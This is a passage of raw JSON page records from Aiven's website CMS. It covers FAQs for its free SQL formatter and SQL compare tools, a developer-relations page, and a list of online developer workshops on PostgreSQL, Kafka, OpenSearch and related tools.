Code:"},{"_key":"a33afc320afe1","_type":"span","marks":[],"text":" Paste your SQL code into the provided text area."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1092c1d56114","_type":"block","children":[{"_key":"6ab32475f7ef0","_type":"span","marks":["strong"],"text":"Advanced Configurations:"},{"_key":"6ab32475f7ef1","_type":"span","marks":[],"text":" You can customize your formatting by using the advanced options. Here, you can modify:"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4f1e1d5e1c21","_type":"block","children":[{"_key":"b957173e4d7e0","_type":"span","marks":["strong"],"text":"Keyword Case:"},{"_key":"b957173e4d7e1","_type":"span","marks":[],"text":" Choose how SQL keywords are capitalized."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"26399f65dede","_type":"block","children":[{"_key":"c203fea6d3d40","_type":"span","marks":["strong"],"text":"Function Case:"},{"_key":"c203fea6d3d41","_type":"span","marks":[],"text":" Set the case for functions."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2270df6e4f13","_type":"block","children":[{"_key":"42154f5a542b0","_type":"span","marks":["strong"],"text":"Datatype Case:"},{"_key":"42154f5a542b1","_type":"span","marks":[],"text":" Adjust the case for data types."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b048a6d8a4f3","_type":"block","children":[{"_key":"63de9a5940150","_type":"span","marks":["strong"],"text":"Indentations:"},{"_key":"63de9a5940151","_type":"span","marks":[],"text":" Specify indentation styles to further enhance readability."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dc8bf3e5e683","_type":"block","children":[{"_key":"fc8e3bb897e80","_type":"span","marks":["strong"],"text":"Format Your Code:"},{"_key":"fc8e3bb897e81","_type":"span","marks":[],"text":" Click the \"Format\" button to process your SQL code."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2e6374d766c6","_type":"block","children":[{"_key":"f32e2bddd2870","_type":"span","marks":["strong"],"text":"Review the Output:"},{"_key":"f32e2bddd2871","_type":"span","marks":[],"text":" Your formatted SQL code will appear in the output area, making it easier to read and understand."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"How do I use the SQL formatter?"},{"_key":"891550dfedef","_type":"accordionItem","panelText":[{"_key":"fa83d807b2f7","_type":"block","children":[{"_key":"f89f2781c48d0","_type":"span","marks":[],"text":"Yes, your code is processed securely. We do not store any of your data or formatted SQL. Once you leave the page, your code is deleted from our system."}],"markDefs":[],"style":"normal"}],"title":"Is my code safe when I use the formatter?"},{"_key":"f963a25585c2","_type":"accordionItem","panelText":[{"_key":"2cc22ef14d3a","_type":"block","children":[{"_key":"46b7536b8df30","_type":"span","marks":[],"text":"While the formatter enhances readability, it does not optimize query performance. To improve the efficiency of your SQL queries, check "},{"_key":"389cf7f52f53","_type":"span","marks":["ce166fa473cd"],"text":"Free SQL Optimizer for PostgreSQL and MySQL"}],"markDefs":[{"_key":"ce166fa473cd","_type":"link","href":"https://aiven.io/tools/sql-query-optimizer"}],"style":"normal"}],"title":"Will this formatter improve the performance of my SQL queries?"},{"_key":"aae6dda4b7f0","_type":"accordionItem","panelText":[{"_key":"60c355a4dabd","_type":"block","children":[{"_key":"f806ff7019be0","_type":"span","marks":[],"text":"We respect your privacy and do not track or analyze your queries. Our tool is designed to operate without collecting any user data, ensuring that your coding process remains private and secure."}],"markDefs":[],"style":"normal"}],"title":"How do you ensure my privacy when using the formatter?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"SQL Formatter FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"7300929d47c9","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"292bb5211712","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Instantly format and beautify SQL queries with Aiven’s SQL query formatter. Enhanced readability for PostgreSQL, MySQL, T-SQL, DB2 and more.\n","metaImage":{"_type":"mainImage","alt":"SQL Formatter | Format and beautify SQL code with Aiven's formatter","asset":{"_ref":"image-b3474d8cccc63c5a16f4355a144993546b6e973e-1200x630-jpg","_type":"reference"}},"metaTitle":"Free Online SQL Formatter \u0026 SQL Beautifier"},"slug":{"_type":"slug","current":"/tools/sql-formatter"},"tags":[{"_key":"cd4abb25d604","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"9d262d272be9","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"SQL Formatter"} {"__i18n_lang":"en","_createdAt":"2023-06-29T13:07:51Z","_id":"417a6744-7336-4c4b-8a59-884c1d5b7e90","_rev":"U360V83F77Z1JcZt4Rm9Zr","_type":"page","_updatedAt":"2024-11-05T14:08:09Z","content":[{"_key":"07c5ec236f16","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7-1440x367-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","description":[{"_key":"5a11253d923f","_type":"block","children":[{"_key":"46e08e95c3e30","_type":"span","marks":[],"text":"The Developer Relations team at Aiven is going places - find them at events, in-person or virtually! Connect with them around your favorite open source data tools, and technology trends."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Meet our DevRel people","variant":"compact"},{"_key":"b71be7a2dc51","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"24cde668c5a2","_ref":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_type":"reference"},{"_key":"f1af6715a405bde3f85ed8833d46407b","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"},{"_key":"4f64b6955e7e","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"},{"_key":"53a79911cc27","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"hideSoMe":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showProfilePage":true,"variant":"default"},{"_key":"fb968cf285a3","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"3f25a7067639","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Start learning"},"subtitle":[{"_key":"6ae96974dd49","_type":"block","children":[{"_key":"1b1dc59314d90","_type":"span","marks":[],"text":"Unleash your development potential with our guide to latest open source tools and resources."}],"markDefs":[],"style":"normal"}],"title":"Developer Center","variant":"default"},{"_key":"e294412e2de2","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Discover more"},"subtitle":[{"_key":"f568bc0ad8e5","_type":"block","children":[{"_key":"22d53f0a8ab90","_type":"span","marks":[],"text":"Read our resources, news, announcements and everything open-source related articles."}],"markDefs":[],"style":"normal"}],"title":"Aiven Blog","variant":"default"},{"_key":"36f4a5d31488","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Join the discussion"},"subtitle":[{"_key":"cfef9a232c95","_type":"block","children":[{"_key":"5e39b8a58b1c0","_type":"span","marks":[],"text":"Get expert advice and share your knowledge with like-minded individuals."}],"markDefs":[],"style":"normal"}],"title":"Aiven Community Forum","variant":"default"},{"_key":"46f5e9595d95","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.meetup.com/pro/open-source-data-infrastructure-community/","title":"Explore events near you"},"subtitle":[{"_key":"a7464bb35e03","_type":"block","children":[{"_key":"b7de6a34c1a80","_type":"span","marks":[],"text":"Connect with us online or in-person."}],"markDefs":[],"style":"normal"}],"title":"Meetup","variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Find us at"}],"seo":{"_type":"metaData","metaDescription":"Aiven's Developer Relations team fuels developer success with educational content around open source data technology. Connect with an advocate near you!","metaImage":{"_type":"mainImage","alt":"Meet Aiven's Developer Relations team","asset":{"_ref":"image-b4f29f3d5220829b5697bb5595a565d5ad5901eb-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven DevRel team: enabling success in open source data tech"},"slug":{"_type":"slug","current":"/community/devrel"},"title":"DevRels"} {"__i18n_lang":"en","_createdAt":"2023-10-16T10:11:33Z","_id":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_rev":"R4zj9VDraGU9JFViHjoHyY","_type":"page","_updatedAt":"2025-01-02T14:15:50Z","content":[{"_key":"ea1169362c24","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Developer Workshops","parentPage":{"_type":"link","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer Center"}},"description":[{"_key":"a01ba8740c5e","_type":"block","children":[{"_key":"7f27a562caba0","_type":"span","marks":[],"text":"Learn online how to store, stream, or process your data with our developer advocates in these free workshops."}],"markDefs":[],"style":"normal"},{"_key":"0bea661d7737","_type":"block","children":[{"_key":"16ee98c5ba6e0","_type":"span","marks":["strong"],"text":"Don’t miss a workshop! "},{"_key":"0636a360ddfc0","_type":"span","marks":[],"text":"\nSign up for our newsletter to be the first to know:"}],"markDefs":[],"style":"normal"},{"_key":"31b20ac714b2","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":250,"iframeSource":"https://go.aiven.io/l/890043/2023-10-25/t7z1b","iframeTitle":"Subscribe newsletter for Developer Workshop","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","rounded":false}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Upgrade your skills with online developer workshops","titleMultiColor":false,"variant":"default"},{"_key":"a8589f730c97fdf8c8ae685b50de63a3","_type":"eventList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"764b772bebbc","_ref":"4d19aa54-defb-400a-bd53-fe597dffe4d6","_type":"reference"}],"limit":6,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showEventImage":true,"subtitle":[{"_key":"dd5a8dadc08d","_type":"block","children":[{"_key":"9de6f4df3895","_type":"span","marks":[],"text":"Learn a new skill through our real-time workshops where you can actively engage, ask questions, and connect with industry experts! Our most popular workshops take place regularly. Pick the best date and secure your seat!"}],"markDefs":[],"style":"normal"}],"title":"Upcoming live workshops "},{"_key":"5786e275881b","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isCarousel":true,"items":[{"_key":"ef9408882828","_type":"testimonialItem","content":[{"_key":"57de305a7d3b","_type":"block","children":[{"_key":"5e7413b2f90b0","_type":"span","marks":[],"text":"Very sympathetic presenters, content well prepared, quick solutions provided to participant challenges. All around well done!"}],"markDefs":[],"style":"normal"}],"jobTitle":"Workshop: Search and aggregations made easy with OpenSearch and NodeJS","name":"Workshop participant in November 2023"},{"_key":"f5fc978aa743","_type":"testimonialItem","content":[{"_key":"1c8f8848ee55","_type":"block","children":[{"_key":"88f2beee13f90","_type":"span","marks":[],"text":"Very tightly run workshop, but still very lively. Well done! I liked the structure and the use of Jupyter to run it."}],"markDefs":[],"style":"normal"}],"jobTitle":"Workshop: Learn Apache Kafka with Python","name":"Workshop participant in November 2023"},{"_key":"d4dd684c943a","_type":"testimonialItem","content":[{"_key":"d426fc0296d3","_type":"block","children":[{"_key":"239866fd250e0","_type":"span","marks":[],"text":"10/10! Really engaging workshop. Hoping to attend many more in the future."}],"markDefs":[],"style":"normal"}],"jobTitle":"Build a movie recommendation app with Tensorflow and pgvector","name":"Workshop participant in February 2024"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"What participants say","variant":"media"},{"_key":"2f587cdf21fb","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"fd726d63de27","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/watch?v=nZJVi_LNOkk","title":"Watch on Youtube"},"subtitle":[{"_key":"0966f5f43ca0","_type":"block","children":[{"_key":"64d4fd1c3ae20","_type":"span","marks":[],"text":"In this online workshop you'll learn the basics of query optimization in PostgreSQL®. From understanding the path of the query to optimizing your indexes and joins, we’ll cover the foundation, tools and techniques to improve the performance of your SQL queries."}],"markDefs":[],"style":"normal"},{"_key":"4b3e03873436","_type":"block","children":[{"_key":"ba5940263d5a0","_type":"span","marks":[],"text":"Open to beginner levels, though the knowledge of SQL basics is desired."}],"markDefs":[],"style":"normal"}],"title":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","variant":"default"},{"_key":"f1c41acbb0ee","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://youtu.be/ubpHpp7ON_c","title":"Watch on Youtube"},"subtitle":[{"_key":"cab2c2f9e91c","_type":"block","children":[{"_key":"1029c4747b1b0","_type":"span","marks":[],"text":"Learn how to prepare your existing content for AI using LangChain and store it in OpenSearch®, so it can be used with an LLM in the Retrieval Augmented Generation (RAG) pattern."}],"markDefs":[],"style":"normal"},{"_key":"90b470b912fc","_type":"block","children":[{"_key":"b7c5edda7b840","_type":"span","marks":[],"text":"This workshop is 1,5 hours long."}],"markDefs":[],"style":"normal"}],"title":"Preparing and Using Data for AI with LangChain and OpenSearch®","variant":"default"},{"_key":"2b53eed3b673","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/live/0giSfPI0UnM?si=oWHjvJhO7AXO_hEh","title":"Watch on YouTube"},"subtitle":[{"_key":"18ef30f94454","_type":"block","children":[{"_key":"d4c51c18fef3","_type":"span","marks":[],"text":"In this 1 hour workshop you'll learn the basic components of Apache Kafka and how to get started with data streaming using Python."}],"markDefs":[],"style":"normal"}],"title":"Learn Apache Kafka with Python","variant":"default"},{"_key":"6278c8dceea3","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/live/YnZJgy9faEQ?si=G8Phn9YXz8HEonfB","title":"Watch on YouTube"},"subtitle":[{"_key":"9804964e2684","_type":"block","children":[{"_key":"96d5354a3bb70","_type":"span","marks":[],"text":"In this session you'll learn how to interact with the OpenSearch cluster with the help of OpenSearch NodeJS client - create an index, add documents, search and aggregate data."}],"markDefs":[],"style":"normal"}],"title":"Search and aggregations made easy with OpenSearch and NodeJS","variant":"default"},{"_key":"eb7857eb120a","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/live/48lSQRK8AAU?si=V_xgDKxDIvNTA2IP","title":"Watch on YouTube"},"subtitle":[{"_key":"9694cdcfab5d","_type":"block","children":[{"_key":"80c862e990660","_type":"span","marks":[],"text":"In this hands-on workshop, you'll learn how to connect your Spring Boot application to MySQL using the well-known ORM tool Hibernate."}],"markDefs":[],"style":"normal"}],"title":"Data Persistence 101: Spring Boot and MySQL Edition","variant":"default"},{"_key":"8e805d8a7938","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/watch?v=RvR9QyDHda8","title":"Watch on YouTube"},"subtitle":[{"_key":"8f2aa886adc4","_type":"block","children":[{"_key":"b55a969f793d","_type":"span","marks":[],"text":"In this 2 hour workshop you'll learn how to create a movie recommendation web app, using PostgreSQL® and pgvector. "}],"markDefs":[],"style":"normal"}],"title":"Build a movie recommendation app with Tensorflow and pgvector","variant":"default"},{"_key":"68968f67d9ee","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/watch?v=nRHohM7Avc0\u0026t=3s","title":"Watch on Youtube"},"subtitle":[{"_key":"cce13a0d72cd","_type":"block","children":[{"_key":"836f283a6af40","_type":"span","marks":[],"text":"Learn how to to set up and configure an example data application for continuous delivery."}],"markDefs":[],"style":"normal"},{"_key":"fa51837478cc","_type":"block","children":[{"_key":"ec1eada096b30","_type":"span","marks":[],"text":"The application uses PostgreSQL® and Redis®*, and you will use Netlify to automate the deployment process."}],"markDefs":[],"style":"normal"}],"title":"Configure your app and data for Continuous Delivery with Netlify","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"d1be6a46d762","_type":"block","children":[{"_key":"101ffa8aa0e20","_type":"span","marks":[],"text":"Can't make it to the live event? No worries! Catch all our workshops on "},{"_key":"101ffa8aa0e21","_type":"span","marks":["28b9d1837323","underline"],"text":"YouTube"},{"_key":"101ffa8aa0e22","_type":"span","marks":[],"text":" at your convenience. "}],"markDefs":[{"_key":"28b9d1837323","_type":"link","href":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLuTQBsPjdNZyeviQ2BCWAHw"}],"style":"normal"}],"title":"Past workshops"},{"_key":"b716c63ab6ba","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"6283c36e91cd","_type":"cardItem","subtitle":[{"_key":"5c09b89185b8","_type":"block","children":[{"_key":"6941a77829870","_type":"span","marks":["b1625402cede"],"text":"Aiven Labs"},{"_key":"a3d8dd17e719","_type":"span","marks":[],"text":": Sample code and tutorials"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b1625402cede","_type":"link","href":"https://github.com/Aiven-Labs"}],"style":"normal"},{"_key":"a587474eee01","_type":"block","children":[{"_key":"e311401d8a420","_type":"span","marks":["c8888578420f"],"text":"Aiven Open"},{"_key":"caa45c7f3eab","_type":"span","marks":[],"text":": All open source projects made and maintained by Aiven and the Aiven Open Source Program Office"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c8888578420f","_type":"link","href":"https://github.com/Aiven-Open"}],"style":"normal"}],"title":"Github resources","variant":"default"},{"_key":"56548c26808456bf019037aa98470370","_type":"cardItem","subtitle":[{"_key":"f776367518a3","_type":"block","children":[{"_key":"2941602fbea70","_type":"span","marks":["3398a5780c8f"],"text":"Use Netlify to deploy your Next.js, PostgreSQL® and Redis®* app"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3398a5780c8f","_type":"internalLink","internalLink":{"_ref":"670e91f4-eed4-4549-beed-1f049c3efe08","_type":"reference"}}],"style":"normal"},{"_key":"e4b4cd7009cc","_type":"block","children":[{"_key":"45c33ba795ed","_type":"span","marks":["29ab67b3d9da"],"text":"Enabling change data capture from MySQL to Apache Kafka® with Debezium"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"29ab67b3d9da","_type":"internalLink","internalLink":{"_ref":"cedb6945-6c85-44e7-bdef-96f1acebcf76","_type":"reference"}}],"style":"normal"},{"_key":"3b7aa628d468","_type":"block","children":[{"_key":"c1dfff1fb94b","_type":"span","marks":[],"text":"...and more!"}],"markDefs":[],"style":"normal"}],"title":"Developer Center for tutorials","variant":"default"},{"_key":"ee85566d1dddd06694af4be14211c7d7","_type":"cardItem","subtitle":[{"_key":"c74514ab84bc","_type":"block","children":[{"_key":"9ff0596147370","_type":"span","marks":["0a8071569c2d"],"text":"Connect to Aiven for Apache Kafka® with Python"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0a8071569c2d","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/connect-with-python"},{"_key":"ef00e9d9f5ce","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/monitor-database-with-datadog"}],"style":"normal"},{"_key":"5c47ef12bc8d","_type":"block","children":[{"_key":"a97f203da8650","_type":"span","marks":["ef00e9d9f5ce"],"text":"Database monitoring with Datadog"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ef00e9d9f5ce","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/monitor-database-with-datadog"}],"style":"normal"},{"_key":"ccaf33ac4efb","_type":"block","children":[{"_key":"e2ba10481861","_type":"span","marks":[],"text":"...and more!"}],"markDefs":[],"style":"normal"}],"title":"Aiven docs for documentation","variant":"default"},{"_key":"bf91abe18b0aa881d4387a2d79bdeca9","_type":"cardItem","subtitle":[{"_key":"29b87848c5db","_type":"block","children":[{"_key":"04c9585f6f3c0","_type":"span","marks":["a13d6a65223a"],"text":"Developer education series"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a13d6a65223a","_type":"link","href":"https://www.youtube.com/watch?v=nf3PPn5w6K8\u0026list=PLo6PI-0mPVLu9dIsLcHn6XmfvYQzMrxIr"}],"style":"normal"},{"_key":"5de5e0228d39","_type":"block","children":[{"_key":"e4cd7679da77","_type":"span","marks":["6ce54cd61c84"],"text":"Livestreams and past workshops"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6ce54cd61c84","_type":"link","href":"https://www.youtube.com/@Aiven_io/streams"}],"style":"normal"}],"title":"Youtube","variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Additional resources to learn"}],"internalTags":[{"_key":"3924d0201009","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Learn how to store, stream, or process your data with our developer advocates. Join our free online workshops to boost your data skills.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"metaTitle":"Aiven Developer Workshops | Upgrade your skills"},"slug":{"_type":"slug","current":"/developer-workshops"},"title":"Online Developer Workshops"} {"__i18n_lang":"en","_createdAt":"2024-11-27T06:54:40Z","_id":"ef7f96df-2537-47e8-a265-ad228e47b83e","_rev":"ZhxRwgWPklJwoe04le5Pps","_type":"page","_updatedAt":"2024-11-27T06:54:40Z","content":[{"_key":"190806a4436f","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"f6a7bc6f13af","_type":"accordionItem","panelText":[{"_key":"f47967b3fe04","_type":"block","children":[{"_key":"792513c72e8a0","_type":"span","marks":[],"text":"The SQL Compare tool is a free online utility designed to help you quickly compare two SQL queries. It instantly highlights the differences between your queries, making it easy to see what has been added, deleted, or modified. The tool supports a variety of SQL dialects, including MySQL, PostgreSQL, and SQL Server."}],"markDefs":[],"style":"normal"}],"title":"What is the SQL Compare tool?"},{"_key":"df89c3c5c4d1","_type":"accordionItem","panelText":[{"_key":"b1214c33a833","_type":"block","children":[{"_key":"b6ede2e5c76d0","_type":"span","marks":["strong"],"text":"Input your SQL queries"},{"_key":"b6ede2e5c76d1","_type":"span","marks":[],"text":": Paste or type your SQL queries into the two input fields."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b8bb22ea57f","_type":"block","children":[{"_key":"56e5a1ada62b0","_type":"span","marks":["strong"],"text":"See the difference"},{"_key":"56e5a1ada62b1","_type":"span","marks":[],"text":": The tool will automatically analyze and highlight the differences between your queries as you type."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a63b964c23c7","_type":"block","children":[{"_key":"eb00d1614e730","_type":"span","marks":["strong"],"text":"Review and merge"},{"_key":"eb00d1614e731","_type":"span","marks":[],"text":": Review the highlighted changes and use the merge arrows to easily incorporate changes from one query to the other."}],"markDefs":[],"style":"normal"}],"title":"How do I use the SQL Compare tool?"},{"_key":"30cf98bac2be","_type":"accordionItem","panelText":[{"_key":"a37358ff8a91","_type":"block","children":[{"_key":"e823c1c28a110","_type":"span","marks":["strong"],"text":"Save time"},{"_key":"e823c1c28a111","_type":"span","marks":[],"text":": Instantly identify differences without manually comparing code."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4906e6f92574","_type":"block","children":[{"_key":"39535d89a4890","_type":"span","marks":["strong"],"text":"Reduce errors"},{"_key":"39535d89a4891","_type":"span","marks":[],"text":": Minimize the risk of introducing errors when merging changes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c530ca1618ae","_type":"block","children":[{"_key":"079a7df777e20","_type":"span","marks":["strong"],"text":"Enhance understanding"},{"_key":"079a7df777e21","_type":"span","marks":[],"text":": Visualize the impact of modifications to your SQL code."}],"markDefs":[],"style":"normal"}],"title":"What are the benefits of using the SQL Compare tool?"},{"_key":"2b24004a6aef","_type":"accordionItem","panelText":[{"_key":"97e54cc4016f","_type":"block","children":[{"_key":"c29a8add68e00","_type":"span","marks":[],"text":"Yes, your code is absolutely safe. We do not store your SQL queries or any other data you enter into the tool."}],"markDefs":[],"style":"normal"}],"title":"Is my code safe when I use the SQL Compare tool?"},{"_key":"27ddd3c49bde","_type":"accordionItem","panelText":[{"_key":"d1a4e71f9047","_type":"block","children":[{"_key":"0eca4b9500fe0","_type":"span","marks":[],"text":"We are committed to protecting your privacy. We do not collect any personal information or store your SQL queries. Our tool is designed to operate entirely within your browser, ensuring your data remains private and secure."}],"markDefs":[],"style":"normal"}],"title":"How do you ensure my privacy when using the SQL Compare tool?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"SQL Compare FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"0159343ac1de","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"ed4bc4bfd8b8","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Free online SQL compare tool. Quickly compare two SQL queries to find the differences. Highlight changes, merge with a click, and identify discrepancies.","metaImage":{"_type":"mainImage","alt":"SQL Compare tool. Visually compare and merge the differences between two SQL queries","asset":{"_ref":"image-ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c-1200x630-png","_type":"reference"}},"metaTitle":"Compare SQL Online | SQL Diff | PostgreSQL \u0026 MySQL"},"slug":{"_type":"slug","current":"/tools/sql-compare"},"tags":[{"_key":"b3c87e443c90","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"10bc7bd63ac7","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Free SQL Compare"} {"__i18n_lang":"en","_createdAt":"2024-07-01T18:19:48Z","_id":"251e4fd7-25c7-42cc-9139-d0c68f5b0e56","_rev":"msvVOwV0ly404Y5JqAnogQ","_type":"page","_updatedAt":"2024-08-08T12:57:42Z","content":[{"_key":"60578adcfa5f","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-b97985a8208abc1059d1fee8be898972517ff18e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"62537cbd8113","_type":"block","children":[{"_key":"ddc551a5c90a0","_type":"span","marks":[],"text":"Aiven unifies your data \u0026 AI workloads for seamless management and infinite scalability across any cloud provider."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"headline":[{"_key":"afda986c861a","_type":"block","children":[{"_key":"8185f1447a9d0","_type":"span","marks":[],"text":"Unify your data. "},{"_key":"3b57411f6bb9","_type":"span","marks":["color-primary"],"text":"Scale your business."},{"_key":"9fe50b850e6e","_type":"span","marks":[],"text":" With any cloud."}],"markDefs":[],"style":"h1"},{"_key":"475e61756a57","_type":"block","children":[{"_key":"2fd0479da94f","_type":"span","marks":[],"text":"Aiven unifies your data \u0026 AI workloads for seamless management and infinite scalability across any cloud 